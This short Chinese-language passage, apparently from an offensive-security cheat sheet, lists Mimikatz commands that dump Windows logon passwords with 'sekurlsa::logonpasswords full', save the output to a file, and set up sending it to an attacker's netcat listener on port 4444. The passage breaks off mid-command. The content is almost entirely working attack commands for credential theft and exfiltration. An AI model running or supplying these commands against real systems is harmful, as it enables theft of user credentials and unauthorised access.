1.记录 Mimikatz输出： C:>mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir 2.将输出导入到本地文件： C:>mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt 3.将输出传输到远程机器： Attacker执行: E:>nc -lvp 4444 Victim执行: C:>mimikatz.exe ""privilege::debug"" ""se...